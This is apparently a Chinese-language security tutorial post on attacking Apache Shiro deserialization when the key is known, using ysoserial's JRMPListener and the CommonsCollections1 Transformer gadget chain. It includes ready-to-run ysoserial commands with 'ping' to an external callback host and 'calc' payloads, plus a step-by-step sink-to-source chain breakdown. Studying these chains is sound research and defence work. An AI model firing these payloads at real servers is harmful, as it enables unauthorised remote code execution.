JAVA攻防-Shiro专题&有key无利用链&JRMP协议&CC1&CB1链分析&Transform执行链

Ethan医生6个月前WEB安全222

#Shrio有key无链:

JRMP指的是Java远程方法协议(Java Remote Method Protocol)。它是 Java 对象实现远程通信的基础技术,也是Java RMI(Remote Method Invocation,远程方法调用)的底层通信协议。借助JRMP,运行于某个Java虚拟机(JVM)中的对象能够调用另一个JVM中对象的方法,就如同调用本地对象的方法一样便捷。

 

非常规链:

https://github.com/wyzxxz/shiro_rce_tool

https://mp.weixin.qq.com/s/MdCUfyaUCAa2M3P3H1NsGw

 

其他链JRMPClient

1、生成JRMPListener

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping kfxmlanpak.zaza.eu.org"

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "calc"

2、shiro_tool JRMP模式

2.1、java-chains JRMP模式

 

#CC链-Transform&TransformedMap

参考:https://mp.weixin.qq.com/s/J_YeNkLN6KYTCVDYFh1dvQ

commons-collections

Gadget chain:

ObjectInputStream.readObject()

AnnotationInvocationHandler.readObject())

MapEntry#setValue

TransformedMap#checkSetValue

ChainedTransformer.transform()

ConstantTransformer.transform()

Runtime.class

InvokerTransformer.transform()

getRuntime().exec("calc");

Class.getMethod()

Runtime.getRuntime()

Runtime.exec()

 

1、寻找sink执行点

作用:执行点触发RCE执行

->ChainedTransformer#transform()

->ConstantTransformer#transform()

->InvokerTransformer#transform()

2、寻找gadget调用链

作用:调用链实现承上启下

->TransformedMap#checkSetValue

->MapEntry#setValue

3、寻找Source入口点

作用:入口点重写方法调用

->AnnotationInvocationHandler#readObject()#setValue

->ObjectInputStream#readObject()


相关文章

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

#Phar反序列化解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 原理:PHP文件系统函...

接口安全&SOAP&OpenAPI&RESTful&分类特征导入&项目联动检测

1、API分类特征SOAP - WSDL ---XML以下是 SOAP 使用的一些標準:Web Services Security (WS-Security) 指定安全措施,例如使用稱為 t...

XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能&SRC复盘

#黑盒功能点案例1、不安全的图像读取-SVG2、不安全的文档转换-DOCX3、不安全的传递服务-SOAPSOAP 的典型使用场景✅ 适合 SOAP 的情况:需要严格的数据契约(如金融交易、医...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

#SSRF漏洞原理服务器端请求伪造,也称为SSRF(Server-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校...

JAVA攻防-常规漏洞&SQL注入四类型&XXE引用点&RCE原生&框架URL跳转&URL处理类

JAVA攻防-常规漏洞&SQL注入四类型&XXE引用点&RCE原生&框架URL跳转&URL处理类

➢ Java攻防-常规漏洞-注入&RCE&XXE➢ Java攻防-常规漏洞-跳转&SSRF&FILE#相关靶场:https://github.com...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。